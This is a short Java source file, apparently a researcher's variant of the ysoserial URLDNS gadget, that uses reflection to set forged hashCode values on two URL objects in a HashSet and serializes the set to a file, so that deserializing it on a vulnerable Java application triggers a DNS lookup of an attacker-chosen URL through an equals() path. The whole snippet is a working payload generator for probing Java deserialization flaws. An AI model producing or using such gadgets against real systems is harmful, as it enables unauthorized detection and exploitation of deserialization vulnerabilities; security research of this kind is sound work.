URLDNSequals.java

/* ysoserial URLDNS gadget
* but this time with equals() trampoline
* hashcode is not set to -1
* author: @frycos
*/

static void buildDNSGadget(String url) throws Exception {
	URLStreamHandler handler = new SilentURLStreamHandler();

	URL u = new URL(null, url, handler);
	URL dc = new URL(null, "http://127.0.0.1", handler);

	HashSet ht = new HashSet();
	ht.add(u);
	ht.add(dc);

	Field hc = URL.class.getDeclaredField("hashCode");
	hc.setAccessible(true);
	hc.set(u, 1337);
	hc.set(dc, 1337);

	OutputStream os = new FileOutputStream("C:\\Users\\Public\\Downloads\\file.ser");
	ObjectOutputStream oos = new ObjectOutputStream(os);
	oos.writeObject(ht);
	System.out.println("Serialized file written...");
	oos.close();
}

static class SilentURLStreamHandler extends URLStreamHandler {

	@Override
	protected URLConnection openConnection(URL u) throws IOException {
		return null;
	}

	protected synchronized InetAddress getHostAddress(URL u) {
		return null;
	}